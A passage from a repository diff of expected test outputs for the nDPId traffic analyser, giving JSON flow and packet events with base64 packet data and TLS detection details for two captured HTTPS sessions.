TgIgER+dLYRsxVMNJXOk\/kmtHPID7P7h3ACnRH7kZ2OdOokwDQYJKoZIhvcNAQELBQADggEBACqaRawdxV9ZrfFCAyF9BSNjN9CTvrFe5o3HW1vIQ2WjItuB5mhb63OYja7a2FV5hBb4fCna6ppH8ld8iq1rVStXDO3OzLLmoK2FQ60tl3bG3vZWHDDav1yVb\/BrtJ4Rs\/P7DvkvOAg0uIFVGMUTi9dt6lVL0jdweZD33r3IsXeAyS19SovLEXcc2cwPU3fAzIhgZWoxHNTs4OqzLd8h7to7Rmz\/K5oKlZNlh95nTbuQNDhxEUcwP73aki5NZmKALZxFoVfqCjRGopkHvIomBt82WUpk87VAbBQuUbo3uaJO3Ag721FlAwGHyvWKD5A8Xl0C6zmMA288lm8EDMK+CmwABI8wggSLMIIDc6A="} +00429{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":93048,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"BBjWMe9aeDHBvV4kCABFAAA0AABAAEAGN9HAqAJ+aG\/XXesOAbssL+6HMZpRr4AQB+mm\/gAAAQEICiSv2bDQt2sA"} +02057{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":93749,"pkt_caplen":1266,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1266,"pkt_l4_len":1232,"pkt":"eDHBvV4kBBjWMe9aCABFAATkITxAADYGG+Vob9ddwKgCfgG76w4xmlGvLC\/uh4AYAOuRsAAAAQEICtC3awAkr9mOAwIBAgIQBUb+GCP34ZQdo5\/OFMRhczANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xNzExMDYxMjIzNDVaFw0yNzExMDYxMjIzNDVaMF4xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xHTAbBgNVBAMTFEdlb1RydXN0IFJTQSBDQSAyMDE4MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv4rRY03hGOqHXegWPI9\/tr6HFzekDPgxP59FVEAh150Hm8oDI0q9m+2FAmM\/n4W57Cjv8oYi2\/hNVEHFtEJ\/zzMXAQ6CkFLTxzSkwaEB2jKgQK0fWeQz\/KDDlqxobNPomXOMJhB3y7c\/OTLo0lko7geG4gk7hfiqafapa59YrXLIW4dmrgjgdPstU0Nigz2PhUwRl9we\/FAwuIMIMl5cXMThdSBK66XWdS3cLX184ND+fHWhTkAChJrZDVouoKzzNYoq6tZaWmyOLKv23v14RyZ5eqoi6qnmcRID0\/i6U9J5nL1krPYbY7tNjzgC+PBXXcWqJVoMXcUw\/iBTGWzpwwIDAQABo4IBQDCCATwwHQYDVR0OBBYEFJBY\/7CcdahRVHex7fKjQxY4nmzFMB8GA1UdIwQYMBaAFAPeUDVW0Uy7ZvCj4hsbw5eyPdFVMA4GA1UdDwEB\/wQEAwIBhjAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwEgYDVR0TAQH\/BAgwBgEB\/wIBADA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBCBgNVHR8EOzA5MDegNaAzhjFodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMA0GCSqGSIb3DQEBCwUAA4IBAQAw8YdVPYQI\/C5earp80s3VLOO+AtpdiXft9OlWwJLwKlUtRfccKj8QW\/Pp4b7h6QAlufejwQMb455OjpIbCZVS+awY\/R8pAYsXCnM09GcSVe4ivMswyoCZP\/vPEn\/LPRhHhdgUPk8MlD979RGoUWz7qGAwqJChi28uRds3thx+vRZZIbEyZ62No0tJPzsSGSz8nQ\/\/jP8BIwrzBAUH5WcBAbmvgWfrKcuv+PyGPqRcc4T55TlzrBnzAzZ3oClo9fTvO9PuiHMKrC6V6mgi0s2sa\/gbXlPCD9Z24XUMxJElwIVTDuKB0Q4YMMlnpN\/QChJ4B0AFsQ+DU0NCO+f78Xf7FgMDAd8WAAHbAQAB1zCCAdMKAQCgggHMMIIByAYJKwYBBQUHMAEBBIIB"} +02307{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9,"source":"tls_long_cert.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":9,"flow_first_seen":1553619078033,"flow_last_seen":1553619078093,"flow_tot_l4_data_len":4921,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":546,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.126","dst_ip":"104.111.215.93","src_port":60174,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.repubblica.it","server_names":"www.repstatic.it,repstatic.it,amp-video.lastampa.it,www.repubblica.it,amp-video.deejay.it,amp-video.d.repubblica.it,www.gelestatic.it,oasjs.kataweb.it,video.d.repubblica.it,www.test.capital.it,napoli.repubblica.it,video.ilsecoloxix.it,genova.repubblica.it,cdn.gelestatic.it,video.gelocal.it,media.deejay.it,media.m2o.it,amp-video.espresso.repubblica.it,download.gelocal.it,amp-video.m2o.it,bologna.repubblica.it,torino.repubblica.it,scripts.kataweb.it,palermo.repubblica.it,roma.repubblica.it,video.xl.repubblica.it,amp-video.gelocal.it,video.espresso.repubblica.it,www.capital.it,video.limesonline.com,media.capital.it,syndication-vod-pro.akamai.media.kataweb.it,test.capital.it,video.deejay.it,video.repubblica.it,milano.repubblica.it,video.lanuovasardegna.it,video.m2o.it,parma.repubblica.it,video.3nz.it,syndication-vod-hds.akamai.media.kataweb.it,amp-video.repubblica.it,video.lastampa.it,webfragments.repubblica.it,amp-video.xl.repubblica.it,amp-video.limesonline.com,media.kataweb.it,bari.repubblica.it,syndication-vod-hls.akamai.media.kataweb.it,amp-video.3nz.it,syndication3rd-vod-pro.akamai.media.kataweb.it,firenze.repubblica.it,amp-video.ilsecoloxix.it,amp-video.lanuovasardegna.it,cdn.flv.kataweb.it","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"35af4c8cd9495354f7d701ce8ad7fd2d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=GeoTrust RSA CA 2018","issuerDN":"C=IT, ST=Roma, L=Roma, O=GEDI Digital S.r.l., CN=www.repstatic.it","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"0C:9F:21:DB:65:A1:BE:EB:D8:89:38:D3:FF:7A:D9:02:8B:F1:60:A1"}} +00430{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":93790,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"BBjWMe9aeDHBvV4kCABFAAA0AABAAEAGN9HAqAJ+aG\/XXesOAbssL+6HMZpWX4AQB+2iSgAAAQEICiSv2bDQt2sA"} +01497{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":95599,"pkt_caplen":855,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":855,"pkt_l4_len":821,"pkt":"eDHBvV4kBBjWMe9aCABFAANJIT1AADYGHX9ob9ddwKgCfgG76w4xmlZfLC\/uh4AYAOu8PwAAAQEICtC3awUkr9mOuTCCAbUwgZ6iFgQUkFj\/sJx1qFFUd7Ht8qNDFjiebMUYDzIwMTkwMzI1MTYyMDU4WjBzMHEwSTAJBgUrDgMCGgUABBR3enuod9bxDxzpICGW+2sabjf17QQUkFj\/sJx1qFFUd7Ht8qNDFjiebMUCEAesbXRpPpixofaaw01b8dyAABgPMjAxOTAzMjUxNjIwNThaoBEYDzIwMTkwNDAxMTUzNTU4WjANBgkqhkiG9w0BAQsFAAOCAQEAavnXjy432rmpzc6dwVO6eKJOSNsqguQZpGcyF4sV\/HIVmlWjRLlk1UJGnicGN2gzBOLk7VHdBHmOIK6k3aSmwaIj9G7Rwrs4h0+NIUBuvGMhZ6v8fDXi9NQ4+Zqd8+pvQNfFG7QfgkJETLaQB0bMPhCGlX7cZQnOah6+EcZGpWKZdNWMU\/\/E+Z6jYNI3VsmF5i80jEZI\/nkmhyTOqZEYtl0+xuwDg2GQS6OM6jXyrMcbhWw0cXG9F26qsCjajcLPiYO1z2e19GcNvD+y7LMATl0PKRIbR5l6TApQ9yJ1iQI06E\/Es\/BZgbsIHNNqVql+10lJ7BNzYcuuKVWud4vOyBYDAwFNDAABSQMAF0EEVracG9qNXtYKOXpaPv6J3gztVK0h8GoSY61HTcpTySyg7c8GmQuNX8SPxY1832t0AO6sywYL8zVeu1N68qVIvwgEAQBA\/QKQh5wvjlJxr2oZyvJRI5BJWrkE1DR3Llm96FOhqhGkBYFtrVcVmLWgJ3uyhss65kYP+gkV\/Aj0pwa7VoTYL3WkKCQXZh5ofXN5yYn8uV7alzaejpV\/vM+NLTHqZznT9x1QXgdz82FQYTX93Hfn7qlDOCIMQIpFPiafvBNNrWDat5ZO2Fh051I5Aou4213PhHh1ufxgQ1DEvxRKyVcvWGLfYD3JzBEu5qVe9V7kLs2fbSsrLJg7g5wdAwjW0GNvKaTAW5pehcTaLK5xuKyloOW3bStd3y6qa6TkhTrJNS0E3KzkNuTrd+rvs9gAwbV\/o7bOJ9+0NiqTgWSnpbP6FgMDAAQOAAAA"} +00431{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":95640,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"BBjWMe9aeDHBvV4kCABFAAA0AABAAEAGN9HAqAJ+aG\/XXesOAbssL+6HMZpZdIAQB\/OfKAAAAQEICiSv2bLQt2sF"} +00605{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":96422,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"BBjWMe9aeDHBvV4kCABFAACyAABAAEAGN1PAqAJ+aG\/XXesOAbssL+6HMZpZdIAYCAB8QwAAAQEICiSv2bLQt2sFFgMDAEYQAABCQQRP4nTO7t1gsI+sncz3jLxPpGhLzyoJgYH\/Heat+NBgLeKqEhe7mj2inNwoJCD5LV\/qCPQv+KYPvBQWRUBtB06EFAMDAAEBFgMDACgAAAAAAAAAAA4cTqcj7y\/hvDbKtXE0ElrDaudKH2f2AXwmK1WfLrv\/"} +00563{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":104774,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"BBjWMe9aeDHBvV4kCABFAACRAABAAEAGN3TAqAJ+aG\/XXesOAbssL+8FMZpZdIAYCABWXQAAAQEICiSv2bvQt2sFFwMDAFgAAAAAAAAAAb\/x0RnZJwH8uWLyU9jchZrDqEEG9N2hXfwbnHQL0G\/XqSw4vJO5tvQIFj88Tjie\/WjLQdGBWvdE9B6uhvyryoJCQ\/EEkL8iR\/LrKxkDArPO"} +01566{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":105197,"pkt_caplen":902,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":902,"pkt_l4_len":868,"pkt":"BBjWMe9aeDHBvV4kCABFAAN4AABAAEAGNI3AqAJ+aG\/XXesOAbssL+9iMZpZdIAYCACgXgAAAQEICiSv2bvQt2sFFwMDAz8AAAAAAAAAAuMmufqqvCfCAgI+Y8ziAqtHnha8l08vk42HEKw5f8DNApnAf8eKGbrx81Mau3Kmxm7mc51VsRf3eP8BKCREjqar62CkMs3353fhMkczdZrTQh04YZgdkMJnSYFA4IiBLU1ncL\/o7W5EdFOmDG80nxc+JX5TM5N8c\/68A8pL7d4\/SXNUhHxe6BYbqz1ca6V0ykfLrkBJfeIMsQX1HGuKEEVBqn4ldYw\/k4Hc7PjMH4SPmr5Eor\/tMJjXaJhp9Bo+WuiHzj+8r+qVGVESvVM5uAiGhFbV\/jTRSXhGemYw82ONxC+6sF137EptS2HXtf2+Q89WVpGM\/UqKRf0xutuxtqQgaj50Bo136z61I3zDp5DgRhPhbx7UmTMY6G3yG4D2C\/6ylHqdx8IwZxbf3txr1TnyZ6t6NEUGLPyRtff+UZinltNjRbDh0OeMHX6qgYfdh+mmJSxUItZc7CDFNjqeoSIK5duKt9Oh\/nL1tHm+ZqKSxfLuhJ3ohEAsQAES3V\/pC3OtgKA5W60oylVTTb5\/i4dxCH820+amYUnuY5nY93oDQifKZRf83pgimFeleqpIkko1q3+6G4oF64xQ2oU7TX41+jdTIt\/wMtO4bo85mmZKePkoS5Dq5W8LtVNMBzUhbMZHJjxK5vanJNtBQOT6Vgc1ts7Z3VUqKIHrbCkw+riLw5taZE7qi+G8+Kh54juPU9m63V5iVXtN6S60y+EkKeVI+nAxw+2qVfFHV7RAnrM8KkXjFxvnUdSPSEFVr\/YGrOy1R8ltnqncOwARaMuX+zBwS\/XV5N8iC8p4uJsKUWh0i9VWtZtQkThVs3QiX362SVnNNPocF0+IQy+zl+fhkUuQ4X5wfhipaWHAKjxCavdUYRgE7LBRhFBQ6y6aBJ+y61PNJdt4N7yU7gydERP1C0+C\/xTDZztQVRZNmNyfILw2mQVuoP8ICAbsjc7MhFI6qu+kcMxy2+L32f+JInMGFsDu\/mOves3MgjcTzzjivlqZ1EBBgY2vFvckrPKwnJNGye6e1H8jhmGRGsrq6Dc5YlcV0qstUWKAnYlX5noGh9TZ0AY7xXAldx5TQ40IiedW1b41+pyOgjQ="} diff --git a/test/results/tls_verylong_certificate.pcap.out b/test/results/tls_verylong_certificate.pcap.out new file mode 100644 index 000000000..db6abc2d3 --- /dev/null +++ b/test/results/tls_verylong_certificate.pcap.out @@ -0,0 +1,19 @@ +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1578254908457,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.160","dst_ip":"151.101.66.49","src_port":54804,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":457751,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGntnAqAGgl2VCMdYUAbur4+BEAAAAALAC\/\/9+XwAAAgQFtAEDAwUBAQgKAb+3BwAAAAAEAgAA"} +00451{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":469342,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADYGqN2XZUIxwKgBoAG71hTYdp3Gq+PgRaASauCAYQAAAgQFZAQCCApynbuCAb+3BwEDAwk="} +00440{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":469463,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGnuXAqAGgl2VCMdYUAbur4+BF2Hadx4AQEAgJrQAAAQEICgG\/txJynbuC"} +01138{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":475203,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAGnODAqAGgl2VCMdYUAbur4+BF2Hadx4AYEAjFKwAAAQEICgG\/txdynbuCFgMBAgABAAH8AwNreR1fucqnaT8n7FpnpsjcXpwujsf+X6\/m0ZYauF9Z+gAAhswUzBPMFcAwwCzAKMAkwBTACgCjAJ8AawBqADkAOP+FAMQAwwCIAIcAgcAywC7AKsAmwA\/ABQCdAD0ANQDAAITAL8ArwCfAI8ATwAkAogCeAGcAQAAzADIAvgC9AEUARMAxwC3AKcAlwA7ABACcADwALwC6AEHAEsAIABYAE8ANwAMACgD\/AQABTQAAABoAGAAAFWZlb2RvdHJhY2tlci5hYnVzZS5jaAALAAQDAAECAAoAOgA4AA4ADQAZABwACwAMABsAGAAJAAoAGgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABEADQAmACQGAQYCBgPv7wUBBQIFAwQBBAIEA+7u7e0DAQMCAwMCAQICAgMzdAAAABAACwAJCGh0dHAvMS4xABUAqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1578254908457,"flow_last_seen":1578254908475,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.160","dst_ip":"151.101.66.49","src_port":54804,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"feodotracker.abuse.ch","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00439{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":487025,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0JkBAADYGgqWXZUIxwKgBoAG71hTYdp3Hq+PiSoAQADgXbgAAAQEICnKdu4cBv7cX"} +02276{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":490162,"pkt_caplen":1434,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1434,"pkt_l4_len":1400,"pkt":"KDc3AG3IEBMx8Tl2CABFAAWMJkFAADYGfUyXZUIxwKgBoAG71hTYdp3Hq+PiSoAQADhELwAAAQEICnKdu4cBv7cXFgMDAGwCAABoAwNlGU2AqRgtupr99CpElXpAX0W4mJRx0pamW+kBQCXRGiDAUaIPvzZxFDiZxCRHWTbQLdyz05DKtbn9EBVW9WPsz8AvAAAg\/wEAAQAAAAAAAAsABAMAAQIAEAALAAkIaHR0cC8xLjEWAwMUYQsAFF0AFFoAD8Uwgg\/BMIIOqaADAgECAgxmMNWPLPIdEd8O15QwDQYJKoZIhvcNAQELBQAwVzELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExLTArBgNVBAMTJEdsb2JhbFNpZ24gQ2xvdWRTU0wgQ0EgLSBTSEEyNTYgLSBHMzAeFw0xOTExMTkwMTMxMjJaFw0yMDA4MjkxNzE5MzJaMHcxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMRUwEwYDVQQKDAxGYXN0bHksIEluYy4xJDAiBgNVBAMMG3AyLnNoYXJlZC5nbG9iYWwuZmFzdGx5Lm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKRn796CdKVNRaMO7f7VjfBoTnQrrAIXQyviFPuHVSEpART5JsFX\/FX2lg8AwXVM4jiLWrMNjxMeVkCBdAEsAIVPOLEW9qlmwEc+rbG7tej27SxcKaGyT5vtOiIf43vcHFRWC2SipuJzozDUKG62hG1Q5ILStfGEiuA41wI7qHkzLWhf\/HuUhCAVBHoRupDjsGZeZG1DDJBzwDL+7KpMfIOTSzNdvCWX5\/PNjIze9T+qETtgANuqALC19HeMl+0tmA6N9R9774Rm6Qj5cunUUrWzjDF6EL3rAGA04Ia\/0HZ1c4dfJlMcsBCkf5ue0BP2OEBnpeuvJdomQzLLtjFwo9kCAwEAAaOCDGswggxnMA4GA1UdDwEB\/wQEAwIFoDCBigYIKwYBBQUHAQEEfjB8MEIGCCsGAQUFBzAChjZodHRwOi8vc2VjdXJlLmdsb2JhbHNpZ24uY29tL2NhY2VydC9jbG91ZHNzbHNoYTJnMy5jcnQwNgYIKwYBBQUHMAGGKmh0dHA6Ly9vY3NwMi5nbG9iYWxzaWduLmNvbS9jbG91ZHNzbHNoYTJnMzBWBgNVHSAETzBNMEEGCSsGAQQBoDIBFDA0MDIGCCsGAQUFBwIBFiZodHRwczovL3d3dy5nbG9iYWxzaWduLmNvbS9yZXBvc2l0b3J5LzAIBgZngQwBAgIwCQYDVR0TBAIwADCCCf0GA1UdEQSCCfQwggnwghtwMi5zaGFyZWQuZ2xvYmFsLmZhc3RseS5uZXSCCyouMTJ3YnQuY29tghUqLjJibGVhY2hlcnJlcG9ydC5jb22CFSouM2JsZWFjaGVycmVwb3J0LmNvbYIVKi40YmxlYWNoZXJyZXBvcnQuY29tghUqLjhibGVhY2hlcnJlcG9ydC5jb22CCiouYWJ1c2UuY2iCGSouYWNkbi1pdC5wcy1wYW50aGVvbi5jb22CEyouY2RuLmxpdmluZ21hcC5jb22CFSouY29udGVudC5wbGFzdGlxLmNvbYIPKi5kaW1lbnNpb25zLmFpghcqLmRvbGxhcnNoYXZlY2x1Yi5jby51a4IVKi5kb2xsYXJzaGF2ZWNsdWIuY29tghEqLmRvbnRwYXlmdWxsLmNvbYIPKi5lYmlzdWJvb2suY29tghQqLmZvcmVpZ25hZmZhaXJzLmNvbYIPKi5mcy5qaWJqYWIuY29tghMqLmZzLnVuaXRwcmludHMuY29tggwq"} +00789{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1578254908457,"flow_last_seen":1578254908490,"flow_tot_l4_data_len":2097,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1400,"flow_avg_l4_data_len":349,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.160","dst_ip":"151.101.66.49","src_port":54804,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"feodotracker.abuse.ch","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"ae53107a2e47ea20c72ac44821a728bf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +02269{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":490366,"pkt_caplen":1434,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1434,"pkt_l4_len":1400,"pkt":"KDc3AG3IEBMx8Tl2CABFAAWMJkJAADYGfUuXZUIxwKgBoAG71hTYdqMfq+PiSoAQADh9xwAAAQEICnKdu4cBv7cXLmdnbGVhcC5jb22CDiouZ29vZGVnZ3MuY29tghIqLmh1ZXZvc2J1ZW5vcy5jb22CFCouaW5keS5teW9tbmlnb24uY29tggwqLmp3YXRjaC5vcmeCGioua2luZ3Nmb3JkY2hhcmNvYWwuY29tLmF1ghAqLmxhbmNlbnRlcnMuY29tgg4qLm1hZGVieXdlLmNvbYIQKi5taW5pcm9kaW5pLmNvbYIOKi5tb2RjbG90aC5uZXSCDioub3Jpb25sYWJzLmlvghEqLnBzLXBhbnRoZW9uLmNvbYIMKi5zY29kbGUuY29tghEqLnN0ZWVsc2VyaWVzLmNvbYIQKi50aGVmb3JlbWFuLm9yZ4IWKi51cGxvYWRzLmV2ZXJzaWduLmNvbYIUKi51cGxvYWRzLnNjaG9veC5jb22CCSoudnRzLmNvbYIWKi54LnN0ZzEuZWJpc3Vib29rLmNvbYIOKi55YW5nMjAyMC5jb22CCTEyd2J0LmNvbYITMmJsZWFjaGVycmVwb3J0LmNvbYITM2JsZWFjaGVycmVwb3J0LmNvbYITNGJsZWFjaGVycmVwb3J0LmNvbYITOGJsZWFjaGVycmVwb3J0LmNvbYIIYWJ1c2UuY2iCCWJyaXRhLmNvbYINY2RuLmZ3dXBkLm9yZ4IRY2RuLmxpdmluZ21hcC5jb22CDmNkbi5zZWF0ZWQuY29tghRjZG4uc2tpbGxhY2FkZW15LmNvbYITY2xpbmljYWxvcHRpb25zLmNvbYIKY2xvcm94LmNvbYImY29udGVudC1wcmVwcm9kLmJlYXZlcmJyb29rc3dlYjIuY28udWuCGmNvbnRlbnQuYmVhdmVyYnJvb2tzLmNvLnVrghNjb250ZW50LnBsYXN0aXEuY29tghFjb29sbWF0aGdhbWVzLmNvbYIeY29wdGVycm95YWxlLmNvb2xtYXRoZ2FtZXMuY29tghhkOC1kZXYuY29vbG1hdGhnYW1lcy5jb22CGWRlZmx5aW8uY29vbG1hdGhnYW1lcy5jb22CGWRlbGl2ZXJ5LWFwaS5ldmFkYWNtcy5jb22CDWRpbWVuc2lvbnMuYWmCFWRvbGxhcnNoYXZlY2x1Yi5jby51a4ITZG9sbGFyc2hhdmVjbHViLmNvbYIPZG9udHBheWZ1bGwuY29tgg5lbHVuaXZlcnNvLmNvbYISZW1haWwuYW1nLWdyb3VwLmNvghdlbWFpbC50ZWtvZm9ybGlmZS5jby51a4INZmVlZG1hcmtldC5mcoINZnJlc2hzdGVwLmNvbYIKZ2dsZWFwLmNvbYIMZ29vZGVnZ3MuY29tggdoZWFwLmlvghBodWV2b3NidWVub3MuY29tghxpZ